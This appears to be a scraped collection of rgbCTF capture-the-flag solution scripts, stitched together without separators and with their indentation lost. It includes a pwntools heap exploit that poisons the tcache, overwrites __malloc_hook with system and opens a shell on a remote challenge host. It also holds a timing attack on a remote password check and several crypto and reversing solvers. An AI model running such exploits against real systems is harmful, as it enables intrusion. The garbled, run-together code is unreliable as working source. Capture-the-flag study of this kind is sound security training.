Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
a ="e0 80 80 01 07 e5 a7 60 e0 07 00 80 e7 a1 e3 01 07 60 80 87 84 67 05 07 e0 40 47 44 07 05 e7 80 c0 87 84 07 01 67 40 c0 46 62 03 02 86 e0 a0 e0 00 00 a0 a0 e0 20 20 00 00 e0 80 e0 00 00 e0 a0 a0 a0 e0 00 00 c0 a0 a0 00 00 e0 00 a0 a0 e0 20 20 00 00 c0 a0 a0 00 00 00 00 00 00 00 00 00 00"
a = a.split(" ")
for i in a:
i = int(i,16)
b = "{0:b}".format(i)
c = ("0" * (8 -len(b))) + b
d = c.replace("1","#")
print(d.replace("0","-"))from pwn import *
goal = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94]
outs = "rgbCTF{"
import string, subprocess
chars = string.printable
while True:
currentgoal = repr(goal[:len(outs)+1])
for c in chars:
process = subprocess.Popen(['./itJX.so', outs+c], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = process.communicate()
if currentgoal in out:
outs += c
print(outs)
breakplay = """A long lost play about trees, written exclusively by Shakespeare for RGBSec.
Romeo, apparently a rapidly changing multicolored tree.
Hamlet, a person who can't make up his mind.
Act I: Colorful Tree.
Scene I: Fast-changing Tree.
[Enter Hamlet and Romeo]
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a tree and thyself! Speak your mind!
[Exeunt]
"""
nums = """33, 20
71, 5
43, 142
60, 150
73, 312
78, 66
15, 22
12, 115
29, 18
51, 147
45, 68
34, 14
54, 126
15, 48
3, 4
60, 126
45, 77
13, 69"""
nums = nums.split('\n')
nums = [[int(x) for x in y.split(', ')] for y in nums]
play = play.split('\n')
flag = ''
for pair in nums:
flag += play[pair[0]][pair[1]]
print(flag)import java.util.*;
public class DifferenceTest {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.print("Enter first number: ");
int num1 = sc.nextInt();
System.out.print("Enter second number: ");
int num2 = sc.nextInt();
int answer = num1 - num2;
System.out.println("The difference is: " + answer);
}
}f1 = open('DifferenceTest.java', 'rb').read()
f2 = open('Corrected.java', 'rb').read()
f1 = list(f1)
f2 = list(f2)
for one, two in zip(f1,f2):
if one != two:
print(chr(one-two), end='')
print('')struct member{
char name[24];
long drink;
}typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
}
# define TCACHE_MAX_BINS 64typedef struct tcache_entry
{
struct tcache_entry *next;
}0x20 bin -> puts@got -> puts
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0So, let's do our two 0 chunk allocations and leak libc.
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0#!/usr/bin/env python3
from pwn import *
PARTYSIZE = 0
e = ELF("spb")
libc = ELF("libc-2.27.so")
context.binary = e
def chooseSong(length, title=b'',dodata=True):
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(length))
if dodata:
p.sendlineafter('> ', title)
def getDrink(member, drink):
p.sendlineafter('> ', str(2))
p.sendlineafter('> ', str(member))
p.sendlineafter('> ', str(drink))
def singSong():
p.sendlineafter('> ', str(3))
p.recvuntil('0x')
ptr = int(p.recvuntil(' '), 16)
return ptr
def twoscomplement(num):
if num >= 0:
return num
return (0xffffffffffffffff ^ abs(num)) + 1
def conn():
if args.LOCAL:
return process(["./ld-2.27.so",e.path], env={"LD_PRELOAD": libc.path})
else:
return remote("challenge.rgbsec.xyz",6969)
p = conn()
rickroll = 0xf08
heapoffset = 0x280
topchunk = 0x298
newsize = 0xffffffffffffffd9
p.sendlineafter('> ', str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(b"t")
leak = singSong()
e.address = leak - rickroll
log.info(f"Binary base: {hex(e.address)}")
chooseSong(0x10,b'2nd')
heapleak = singSong()
log.info(f"Heap leak: {hex(heapleak)}")
heapbase = heapleak - heapoffset
log.info(f"Heap base: {hex(heapbase)}")
topchunk += heapbase
perthread = heapbase + 0x10
log.info(f"tcache_perthread_struct: {hex(perthread)}")
reqsize = perthread - topchunk - 16 - 8
reqsize = twoscomplement(reqsize)
log.info(f"Size to request: {hex(reqsize)}")
log.info(f"Size as decimal: {reqsize}")
chooseSong(reqsize,dodata=False)
# Top chunk at tcache_perthread_struct
# Ask for 0x230 size chunk, we get to mess up the tcache
fakestruct = b'\x02\x01\x02'.ljust(64,b'\x00')
fakestruct += p64(e.got['puts']) + p64(e.address + 0x000000000202000 + 0x100) + p64(e.address + 0x000000000202000 + 0x100)
chooseSong(0x230,fakestruct)
chooseSong(0,dodata=False)
chooseSong(0,dodata=False)
libcleak = singSong()
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chooseSong(0x20,p64(libc.symbols['__malloc_hook'])) # Put inside of 0x40 tcache bin
chooseSong(0x30)
chooseSong(0x30,p64(libc.symbols['system']))
log.info("/bin/sh pointer as decimal: {}".format(next(libc.search(b"/bin/sh\x00"))))
binsh = next(libc.search(b"/bin/sh\x00"))
p.sendlineafter("> ","1")
p.sendlineafter("> ",str(binsh))
p.interactive()gl.java vg -> we -> rb -> ja
pr.java pk -> te -> wj -> va
qg.java am -> xs-> mb-> ut
fg.java gg-> mg-> oa-> il public static String executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut(String stringToExecuteAforementionedCodeOn) throws Exception {
String encryptedString = reallyBasicQuoteUnquoteEncryptionFunctionThatWillOnlyTakeTimeToFigureOutIfYouKeepReadingTheseRidiculouslyLongMethodNames(stringToExecuteAforementionedCodeOn);
String returnValueOfThisFunction = new String();
String[] chunksOfEncryptedStringOfLengthFour = splitStringIntoChunksOfLength(encryptedString, FOUR);
for (String chunkOfEncryptedStringOfLengthFour : chunksOfEncryptedStringOfLengthFour) {
String[] chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = splitStringIntoChunksOfLength(chunkOfEncryptedStringOfLengthFour, TWO);
String firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[0];
String secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[1];
Class<?> classAndExtraCharactersSoItsNotAKeyword = Class.forName(firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
Object object = classAndExtraCharactersSoItsNotAKeyword.getConstructors()[ZERO].newInstance();
for (int loopArbitraryCounterIterator = 0; loopArbitraryCounterIterator < THREE; loopArbitraryCounterIterator++) {
Method method = classAndExtraCharactersSoItsNotAKeyword.getMethod(secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = (String)method.invoke(object);
}
returnValueOfThisFunction = new String(returnValueOfThisFunction + secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
}
return returnValueOfThisFunction;
}from pwn import *
ciphertext = open("cipher","rb").read()
def xor(bytes1,bytes2):
return bytes(b1 ^ b2 for b1,b2 in zip(bytes1,bytes2))
def decryptstring(seed):
f = open("lich","r+b")
f.seek(0x7c5b)
f.write(p32(seed))
f.close()
output = os.popen(f"./lich {'a'*len(ciphertext)}").read().encode()
stream = xor(output,b'a'*len(ciphertext))
return xor(ciphertext,stream)
for i in range(1,5000):
print(decryptstring(i))from pwn import *
chars = "UVWXYZAFBCDQRSTGHIJNOPKLEM"
pw = ""
import time
#p = process("./my_time_machine.elf")
p = remote("challenge.rgbsec.xyz", 13373, level='debug')
p.recvuntil(': \n')
while len(pw) < 8:
for c in chars:
s = time.time()
p.sendline((pw + c).ljust(8, 'A'))
p.recvline(timeout=9)
e = time.time()
p.recvline()
if (e-s) >= len(pw)+1:
pw += c
print(pw)
break
p.clean()
p.sendline(pw)
print(p.clean(timeout=10))console.log(Array.from(document.getElementById('Ym9iYmF0ZWEh').children).sort((a, b) => parseInt(a.style.order) -
parseInt(b.style.order)).map(x => x.innerHTML).join('').replace(/ /g, ' '))newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "Enter",
41: "esc",
42: "del",
43: "tab",
44: "space",
45: "-",
47: "[",
48: "]",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}
myKeys = open("<filtered out file>")
i = 1
for line in myKeys:
bytesArray = bytearray.fromhex(line.strip())
#print "Line Number: " + str(i)
for byte in bytesArray:
if byte != 0:
keyVal = int(byte)
if keyVal in newmap:
#print "Value map : " + str(keyVal) + " - -> " + newmap[keyVal]
print newmap[keyVal]
else:
print "No map found for this value: " + str(keyVal)
#print format(byte, "02X")
i+=1import os
os.environ['TERM'] = 'linux'
os.environ['TERMINFO'] = '/etc/terminfo'
from pwn import *
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from os import urandom
from random import seed,randint
BLOCK_SIZE = 16
def rand_block(key_seed=urandom(1)):
seed(key_seed)
return bytes([randint(0, 255) for _ in range(BLOCK_SIZE)])
def gen_chall(text):
text = pad(text, BLOCK_SIZE)
for i in range(128):
text = AES.new(rand_block(), AES.MODE_ECB).encrypt(text)
return b64encode(text)
p = remote('167.172.123.213', 34567)
enc = p.recvline()[:-1]
#print(enc)
for byte in range(256):
text = base64.b64decode(enc)
for i in range(128):
text = AES.new(rand_block(bytes([byte])), AES.MODE_ECB).decrypt(text)
try:
text = unpad(text,16)
print(base64.b64encode(text))
except:
pass
p.interactive()from Crypto.Util.number import *
import string
BLOCK_SIZE = 8
ROUNDS = 8
import base64
sbox = [111, 161, 71, 136, 68, 69, 31, 0, 145, 237, 169, 115, 16, 20, 22, 82, 138, 183, 232, 95, 244, 163, 64, 229, 224, 104, 231, 61, 121, 152, 97, 50, 74, 96, 247, 144, 194, 86, 186, 234, 99, 122, 46, 18, 215, 168, 173, 188, 41, 243, 219, 203, 141, 21, 171, 57, 116, 178, 233, 210, 184, 253, 151, 48, 206, 250, 133, 44, 59, 147, 137, 66, 52, 75, 187, 129, 225, 209, 191, 92, 238, 127, 241, 25, 160, 9, 170, 13, 157, 45, 205, 196, 28, 146, 142, 150, 17, 39, 24, 80, 118, 6, 32, 93, 11, 216, 220, 100, 85, 112, 222, 226, 126, 197, 180, 34, 182, 37, 148, 70, 78, 201, 236, 81, 62, 42, 193, 67, 8, 164, 43, 252, 166, 221, 208, 176, 235, 149, 109, 63, 103, 223, 65, 56, 140, 255, 218, 54, 153, 2, 228, 1, 240, 248, 246, 110, 156, 60, 227, 207, 254, 51, 174, 79, 128, 155, 251, 242, 177, 135, 230, 154, 179, 15, 189, 143, 130, 27, 107, 211, 30, 105, 19, 134, 124, 125, 245, 76, 204, 12, 26, 38, 40, 131, 117, 87, 114, 213, 212, 102, 195, 101, 55, 10, 47, 120, 200, 217, 88, 83, 36, 198, 249, 192, 23, 94, 181, 73, 185, 172, 165, 58, 53, 202, 106, 5, 7, 175, 89, 72, 90, 14, 162, 158, 119, 139, 77, 108, 190, 91, 29, 49, 159, 33, 113, 214, 4, 123, 199, 167, 35, 239, 84, 3, 132, 98]
pbox = [39, 20, 18, 62, 4, 60, 19, 43, 33, 6, 51, 61, 40, 35, 47, 16, 23, 58, 31, 53, 28, 55, 54, 30, 17, 42, 34, 45, 49, 13, 46, 0, 26, 2, 8, 3, 11, 48, 63, 36, 37, 7, 32, 5, 27, 59, 29, 44, 14, 56, 21, 22, 12, 52, 57, 41, 10, 1, 24, 38, 50, 15, 9, 25]
def to_blocks(in_bytes: bytes) -> list:
return [in_bytes[i:i + BLOCK_SIZE] for i in range(0, len(in_bytes), BLOCK_SIZE)]
def invert_sbox(in_bytes: bytes):
return bytes([sbox.index(b) for b in in_bytes])
def invert_pbox(in_bytes: bytes):
permuted = ''.join(bin(b)[2:].zfill(8) for b in in_bytes)
binary = list('-'*BLOCK_SIZE*8)
for i in range(len(permuted)):
binary[pbox[i]] = permuted[i]
binary = ''.join(binary)
return long_to_bytes(int(binary,2))
def decwithbyte(block,byte):
for _ in range(ROUNDS):
block = bytearray(block)
for i in range(len(block)):
block[i] ^= byte
block = invert_pbox(block)
block = invert_sbox(block)
return block
enc = base64.b64decode(b"hQWYogqLXUO+rePyWkNlBlaAX47/2dCeLFMLrmPKcYRLYZgFuqRC7EtwX4DRtG31XY4az+yOvJJ/pwWR0/J9gg==")
enc = to_blocks(enc)
flagregex = string.printable
flag = ''
for block in enc:
for i in range(256):
try:
response = decwithbyte(block,i)
response = response.decode()
if all(x in flagregex for x in response):
flag += response
break
except:
pass
print(flag)'''
so uhhh orange top green front
OOO
OOO
OOO
YYYWWWGGGBBB - form LRFB
YYYWWWGGGBBB
YYYWWWGGGBBB
RRR
RRR
RRR
OOO
OOO
YYY
YYRWWWOGGBBB
YYRWWWOGGBBB
YYRWWWOGGBBB
GGG
RRR
RRR
WWW
WWW
WWW
RRRRRGOOOYYY
YYYRRGGGGOOO
YYYRRGGGGOOO
BYY
YWY
ORG
RRGYBBYOOGGGRROBBBWOOGGGRGWOOOBBBRRWWYWWYWRWY
'''
facestring = "WWWWWWWWWRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOGGGYYYYYYYYY"
def format(a):
out = ""
a = a.replace("'","22")
for i in a.split(" "):
out += (i[0] + " ")*len(i)
out = out[:-1]
return out
def nice(a):
for i in range(3):
print(" "+a[i*3:i*3+3])
for i in range(3):
print(a[i*12+9:i*12+21])
for i in range(3):
print(" "+a[i*3+45:i*3+48])
def strface(a):
new = [[["" for _ in range(3)] for _ in range(3)] for _ in range(6)]
for i,j in enumerate(a[:9]):
new[0][i//3][i%3] = j
for i,j in enumerate(a[-9:]):
new[5][i//3][i%3] = j
mid = a[9:-9]
for i in range(36):
new[(i//3)%4+1][i//12][i%3] = mid[i]
return new
def facestr(a):
new = ""
for i in a[0]:
new += "".join(i)
for i in range(3):
for j in a[1:-1]:
new += "".join(j[i])
for i in a[-1]:
new += "".join(i)
return new
def bfacestr(a):
new = []
for i in a[0]:
new += i
